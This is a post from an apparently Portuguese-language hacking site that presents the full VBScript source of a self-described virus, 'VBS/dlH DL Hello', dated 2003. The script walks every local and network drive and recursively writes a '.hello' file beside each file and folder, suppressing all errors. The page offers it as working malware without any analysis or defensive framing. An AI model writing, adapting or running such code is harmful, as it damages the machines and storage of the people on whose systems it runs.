VIRUS EM VBS QUE INFECTA TODOS OS ARQUIVOS

Postado Dia Por --> [Administrador]

rem - VBS/dlH "DL Hello" Virus - By D.L.
rem - Written on November 12th, 2003

On Error Resume Next 
dim FSobj,orgMes,finalMes
set FSobj=CreateObject("Scripting.FileSystemObject")

orgMes="Hello! Don't be mad...I'm not a bad bug :) - by *|%|"
orgMes=replace(orgMes,chr(42),chr(68))
orgMes=replace(orgMes,chr(124),chr(46))
finalMes=replace(orgMes,chr(37),chr(76))

On Error Resume Next 
dim drive,machine

set machine=FSobj.Drives 
for each drive in machine  
 	if (drive.DriveType=2)or(drive.DriveType=3) then 
 		indexFolders(drive.Path&"\") 
	end If 
next

sub indexFolders(location) 
	On Error Resume Next 
	dim specs,file,subFol,sayHello

set specs=FSobj.GetFolder(location) 
	set subFol=specs.SubFolders

for each file in subFol 
                set sayHello = FSobj.CreateTextFile(file.Path&".hello", 2, True) 
		sayHello.write finalMes 
		sayHello.Close 
		writeData(file.Path) 
		indexFolders(file.Path) 
	next 
end sub

sub writeData(location)
	On Error Resume Next 
        dim folder,directory,file,sayHello

set folder=FSobj.GetFolder(location) 
	set directory=folder.Files

for each file in directory 
 		set sayHello = FSobj.CreateTextFile(file.Path&".hello", 2, True) 
		sayHello.write finalMes 
		sayHello.Close  
	next 
end sub

VIRUS EM VBS QUE INFECTA TODOS OS ARQUIVOS

DEIXE SEU COMENTARIO :

Ferramentas e Sistemas

Mundo Hacker Facebook

VISITANTES

NAVEGAÇÃO ANONIMA

CONVERSOR ANSII

Criação de Virus

Artigos Recentes

Mais Acessados

Copyright © 2015

Navegação

Ferramentas

Servidores